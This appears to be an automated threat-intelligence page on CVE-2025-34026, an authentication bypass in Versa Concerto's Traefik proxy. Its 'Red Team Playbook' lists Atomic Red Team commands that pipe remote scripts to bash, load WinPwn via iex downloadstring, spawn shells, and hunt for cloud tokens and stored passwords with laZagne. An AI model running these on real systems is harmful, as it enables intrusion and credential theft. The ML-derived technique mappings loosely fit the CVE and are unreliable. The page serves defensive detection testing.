CVE-2025-34026
Overview
This vulnerability is an authentication bypass caused by improper validation of the X-Real-Ip HTTP header in the Traefik reverse proxy configuration of the Versa Concerto SD-WAN orchestration platform. The flaw allows unauthenticated requests to access protected Spring Boot Actuator endpoints. The affected component is the internal Actuator endpoint, which is exposed without proper access controls in versions 12.1.2 through 12.2.0 and potentially others.
Vulnerability Description
The Versa Concerto SD-WAN orchestration platform is vulnerable to an authentication bypass in the Traefik reverse proxy configuration, allowing at attacker to access administrative endpoints. The internal Actuator endpoint can be leveraged for access to heap dumps and trace logs.This issue is known to affect Concerto from 12.1.2 through 12.2.0. Additional versions may be vulnerable.
Impact
An attacker can access administrative Actuator endpoints without authentication, exposing sensitive internal system information including heap dumps and trace logs. No authentication or user interaction is required to exploit this flaw. This unauthorized access can facilitate further reconnaissance or exploitation within the network, potentially leading to data breaches or system compromise in environments using vulnerable Versa Concerto versions.
Solution
Versa Networks has released security bulletins recommending upgrading Versa Concerto to versions later than 12.2.0 where this issue is resolved. Administrators should apply the vendor-provided patches as detailed in the Versa Networks security advisory at https://security-portal.versa-networks.com/emailbulletins/6830f94328defa375486ff2e. Additionally, review and harden the Traefik reverse proxy configuration to enforce strict header validation and restrict access to internal Actuator endpoints.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Versa Concerto SD-WAN orchestration platform arises from an authentication bypass due to misconfigurations in the Traefik reverse proxy. This flaw allows unauthorized users to gain access to administrative endpoints, specifically the internal Actuator endpoint. The Actuator endpoint is a powerful feature that provides insights into the application’s internal state, including access to sensitive information such as heap dumps and trace logs. These logs can contain critical data about the application’s operations and user interactions, making them a valuable target for attackers. The affected versions range from 12.1.2 to 12.2.0, and it is important to note that other versions may also be susceptible to similar issues.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with knowledge of the platform can leverage the misconfigured reverse proxy to bypass authentication mechanisms. This could be achieved by crafting specific requests that exploit the lack of proper access controls. Once inside, the attacker can access the Actuator endpoint, which may lead to further exploitation opportunities, such as retrieving sensitive application data or executing arbitrary commands. The ease of access to administrative functions makes this vulnerability particularly dangerous, as it can be exploited with minimal technical skill and without the need for sophisticated tools.
The real-world impact of this vulnerability can be significant for organizations utilizing the affected SD-WAN orchestration platform. Unauthorized access to administrative endpoints can lead to data breaches, loss of sensitive information, and potential disruptions in service. For businesses, this translates to not only financial losses but also reputational damage, regulatory penalties, and a loss of customer trust. The ability to access heap dumps and trace logs can provide attackers with insights into the application’s architecture and vulnerabilities, enabling them to plan further attacks or exploit other systems within the network. The high CVSS score of 9.2 indicates the critical nature of this vulnerability, emphasizing the urgency for organizations to address it promptly.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments and penetration testing can help identify misconfigurations in the reverse proxy settings. Additionally, monitoring network traffic for unusual access patterns can provide early warnings of potential exploitation attempts. Organizations should also ensure that they are running the latest versions of the software and apply any available patches or updates as soon as they are released. Implementing strict access controls and authentication mechanisms for administrative endpoints can further reduce the risk of unauthorized access. Training and awareness programs for IT staff regarding secure configurations and best practices are also essential in preventing similar vulnerabilities in the future.
In conclusion, the authentication bypass vulnerability in the Versa Concerto SD-WAN orchestration platform represents a critical risk for organizations relying on this technology. The potential for unauthorized access to sensitive administrative functions can lead to severe consequences, including data breaches and operational disruptions. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can take proactive steps to detect and mitigate the risks associated with it. A comprehensive security strategy that includes regular assessments, timely updates, and robust access controls is essential to safeguard against such vulnerabilities and protect organizational assets.
CSURFACE threat intelligence has detected a slight increase in activity related to CVE-2025-34026, reflected in a moderate rise in telemetry signals and an elevated Exploit Prediction Scoring System (EPSS) score. This uptick suggests growing interest or scanning activity targeting the Versa Concerto SD-WAN orchestration platform’s authentication bypass vulnerability, although no new exploit techniques or ransomware associations have emerged. The incremental rise in EPSS, now approaching the upper quartile, indicates a higher likelihood of exploitation attempts in the near term. For defenders, this signals the need for heightened vigilance in monitoring administrative endpoint access and reinforces the importance of timely patching and access controls. While the overall threat level remains high due to the vulnerability’s nature, the observed trend underscores an increasing risk environment that could precede more aggressive exploitation campaigns.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Versa-Networks | Concerto | All |
cpe:2.3:a:versa-networks:concerto:*:*:*:*:*:*:*:*
|
|
|
Versa-Networks | Concerto | 12.1.2 |
cpe:2.3:a:versa-networks:concerto:12.1.2:-:*:*:*:*:*:*
|
|
|
Versa-Networks | Concerto | 12.2.0 |
cpe:2.3:a:versa-networks:concerto:12.2.0:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
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CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
40%
|
Low | Very High | |
| CAPEC-127 | Directory Indexing |
30%
|
High | Medium |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-34026 |
| projectdiscovery.io |
GitHub CVE
exploit
mitigation
|
https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce |
| security-portal.versa-networks.com |
NVD API
Vendor Advisory
|
https://security-portal.versa-networks.com/emailbulletins/6830f94328defa375486ff2e |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-34026 |